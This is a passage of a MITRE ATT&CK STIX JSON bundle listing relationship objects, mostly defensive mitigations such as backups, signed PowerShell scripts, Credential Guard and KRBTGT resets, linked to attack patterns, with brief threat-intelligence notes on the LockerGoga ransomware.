            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "relationship_type": "mitigates",
            "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.",
            "id": "relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0",
            "type": "relationship",
            "modified": "2021-04-22T20:22:02.756Z",
            "created": "2019-07-17T21:15:42.984Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "relationship_type": "mitigates",
            "description": "Disable or block remotely available services that may be unnecessary.",
            "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9",
            "type": "relationship",
            "modified": "2021-04-22T20:22:02.755Z",
            "created": "2019-07-17T21:15:42.990Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "relationship_type": "mitigates",
            "description": "Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.",
            "id": "relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8",
            "type": "relationship",
            "modified": "2021-04-22T20:22:02.750Z",
            "created": "2019-07-17T21:15:43.002Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a",
            "relationship_type": "mitigates",
            "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)",
            "id": "relationship--ae4531a8-ff8d-4a77-9998-c5d37d6134a9",
            "external_references": [
                {
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "source_name": "Seclists Kanthak 7zip Installer"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T15:11:39.900Z",
            "created": "2019-07-17T21:22:37.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
            "relationship_type": "mitigates",
            "description": "Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.(Citation: Wald0 Guide to GPOs)(Citation: Microsoft WMI Filters)(Citation: Microsoft GPO Security Filtering)",
            "id": "relationship--7eeaeee6-9ac5-440f-9c31-2e4a915b637e",
            "external_references": [
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "url": "https://wald0.com/?p=179",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019."
                },
                {
                    "description": "Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.",
                    "url": "https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/",
                    "source_name": "Microsoft WMI Filters"
                },
                {
                    "source_name": "Microsoft GPO Security Filtering",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/Policy/filtering-the-scope-of-a-gpo",
                    "description": "Microsoft. (2018, May 30). Filtering the Scope of a GPO. Retrieved March 13, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-01-11T19:48:38.019Z",
            "created": "2019-07-17T21:33:42.484Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "relationship_type": "mitigates",
            "description": "Consider using Group Policy to configure and block modifications to W32Time parameters in the Registry. (Citation: Microsoft W32Time May 2017)",
            "id": "relationship--6bff324f-74fc-48a3-b0aa-7e66e5500f2a",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T16:48:51.338Z",
            "created": "2019-07-17T21:50:17.087Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.",
                    "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/",
                    "source_name": "Wired Lockergoga 2019"
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) installation has been immediately preceded by a \"task kill\" command in order to disable anti-virus.(Citation: Wired Lockergoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--29d1699f-c87d-4e6c-ac34-b1b46c43286a",
            "type": "relationship",
            "modified": "2019-07-25T14:22:27.818Z",
            "created": "2019-07-17T23:32:02.493Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019.",
                    "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/",
                    "source_name": "Wired Lockergoga 2019"
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been signed with stolen certificates in order to make it look more legitimate.(Citation: Wired Lockergoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--c035989f-a86f-4746-a9d4-3286dc68e473",
            "type": "relationship",
            "modified": "2019-07-25T14:22:27.826Z",
            "created": "2019-07-17T23:32:02.507Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "relationship_type": "mitigates",
            "description": "Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls and cannot be manipulated by user accounts.",
            "id": "relationship--46f69cd8-dab9-4d7a-88cf-e234ce640b9d",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
                    "source_name": "Microsoft ETW May 2018"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T19:10:25.625Z",
            "created": "2019-07-18T15:00:31.200Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "relationship_type": "mitigates",
            "description": "Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. ",
            "id": "relationship--c4cd9acb-aaea-4b77-890e-f153a58623a4",
            "type": "relationship",
            "modified": "2020-07-14T19:33:52.657Z",
            "created": "2019-07-18T15:05:36.677Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "relationship_type": "mitigates",
            "description": "Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)",
            "id": "relationship--503b3b73-7c96-4bc5-b938-9fc45858d9c2",
            "external_references": [
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-21T21:11:07.159Z",
            "created": "2019-07-18T15:16:29.839Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5",
            "relationship_type": "mitigates",
            "description": "Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.",
            "id": "relationship--63be47af-23d6-4a4b-8236-957106973968",
            "type": "relationship",
            "modified": "2020-01-24T17:57:51.450Z",
            "created": "2019-07-18T15:24:28.408Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d",
            "relationship_type": "mitigates",
            "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
            "id": "relationship--976a5089-8355-40af-81a6-53b1d240d064",
            "type": "relationship",
            "modified": "2020-02-12T18:55:55.449Z",
            "created": "2019-07-18T15:25:08.671Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
            "relationship_type": "mitigates",
            "description": "Restrict user's abilities to create Launch Agents with group policy.",
            "id": "relationship--016279df-8d48-4e2f-aa39-2be744f0681e",
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            "relationship_type": "mitigates",
            "description": "On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)",
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                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-manage",
                    "description": "Lich, B., Tobin, J., Hall, J. (2017, April 5). Manage Windows Defender Credential Guard. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Enable Cred Guard April 2017"
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                {
                    "url": "https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works",
                    "description": "Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Credential Guard April 2017"
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            ],
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            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) opportunities can limit the exposure to this technique.",
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            "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)",
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                    "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."
                },
                {
                    "source_name": "SensePost Outlook Home Page",
                    "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/",
                    "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."
                }
            ],
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            "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.(Citation: CERT-EU Golden Ticket Protection)",
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                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
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                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Install Password Filter n.d"
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            "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b",
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            "created": "2019-07-18T17:11:15.628Z"
        },
        {
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                {
                    "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.",
                    "source_name": "Netspi PowerShell Execution Policy Bypass"
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            "description": "Set PowerShell execution policy to execute only signed scripts. ",
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        },
        {
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            "description": "Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified. ",
            "id": "relationship--34f26e01-4568-47ef-8618-612e89207ee8",
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            "modified": "2020-01-24T15:11:53.654Z",
            "created": "2019-07-18T17:19:08.784Z"
        },
        {
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            "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. ",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use and unauthenticated network share access.",
            "id": "relationship--7af04b3a-b7ca-4dc1-a085-6e09a0505adc",
            "type": "relationship",
            "modified": "2020-03-30T13:56:55.579Z",
            "created": "2019-07-18T19:25:59.028Z"
        },
        {
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            "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "relationship_type": "mitigates",
            "description": "Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)",
            "id": "relationship--3ab77e56-51b4-4e05-b16e-46befadbd69d",
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                {
                    "url": "https://www.acunetix.com/websitesecurity/webserver-security/",
                    "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.",
                    "source_name": "acunetix Server Secuirty"
                },
                {
                    "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf",
                    "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.",
                    "source_name": "NIST Server Security July 2008"
                }
            ],
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            "modified": "2020-03-30T13:56:55.603Z",
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            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "relationship_type": "mitigates",
            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)",
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                {
                    "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482",
                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
                    "source_name": "UCF STIG Symbolic Links"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T19:36:42.022Z",
            "created": "2019-07-18T19:28:08.542Z"
        },
        {
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            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "external_references": [
                {
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "source_name": "Cybereason Soft Cell June 2019"
                },
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                }
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            ],
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                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
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        },
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            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)",
            "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a",
            "external_references": [
                {
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "source_name": "Ready.gov IT DRP"
                },
                {
                    "source_name": "Rhino S3 Ransomware Part 2",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/",
                    "description": "Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-20T16:39:06.776Z",
            "created": "2019-07-19T14:35:12.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b",
            "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n",
            "id": "relationship--bb402b5a-2ee4-4031-93a5-dae262794974",
            "external_references": [
                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-03-28T22:36:25.541Z",
            "created": "2019-07-19T14:35:44.004Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b",
            "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
            "id": "relationship--b433b9bf-2b2e-4ceb-bb5e-aa8e6d099b34",
            "external_references": [
                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-02-20T22:07:27.663Z",
            "created": "2019-07-19T14:36:10.807Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b",
            "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
            "id": "relationship--f5f3803b-3c9c-4eb9-812b-f0bbc78232ba",
            "external_references": [
                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-02-20T22:11:00.278Z",
            "created": "2019-07-19T14:36:43.856Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b",
            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
            "id": "relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9",
            "external_references": [
                {
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "source_name": "Ready.gov IT DRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-14T19:33:52.662Z",
            "created": "2019-07-19T14:37:37.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "relationship_type": "mitigates",
            "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)",
            "id": "relationship--e93b22f5-2df4-49d7-bf4b-985919028e4e",
            "external_references": [
                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "source_name": "Enigma Reviving DDE Jan 2018"
                },
                {
                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-09T13:00:19.467Z",
            "created": "2019-07-19T14:42:04.467Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
            "relationship_type": "mitigates",
            "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.",
            "id": "relationship--d2bad46d-7e0c-4b22-9859-172892a2d861",
            "type": "relationship",
            "modified": "2020-03-19T19:10:25.627Z",
            "created": "2019-07-19T14:43:31.139Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
            "relationship_type": "mitigates",
            "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)",
            "id": "relationship--7ad8dd5d-06f6-47b1-874a-8a4e7fc39ba5",
            "external_references": [
                {
                    "source_name": "Wikipedia HPKP",
                    "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.",
                    "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-31T12:49:14.910Z",
            "created": "2019-07-19T14:44:30.772Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "relationship_type": "mitigates",
            "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)",
            "id": "relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Office Test Sofacy"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-26T17:31:50.451Z",
            "created": "2019-07-19T14:45:29.007Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a",
            "relationship_type": "mitigates",
            "description": "Avoid PowerShell profiles if not needed. Use the <code>-No Profile</code> flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed. ",
            "id": "relationship--b10a7101-9e17-4ff0-bbdf-3e732f8f4547",
            "type": "relationship",
            "modified": "2020-01-24T15:11:53.672Z",
            "created": "2019-07-19T14:46:24.387Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c",
            "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "relationship_type": "mitigates",
            "description": "[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.",
            "id": "relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4",
            "type": "relationship",
            "modified": "2020-06-24T14:37:18.194Z",
            "created": "2019-07-19T14:59:44.180Z"
        },
        {
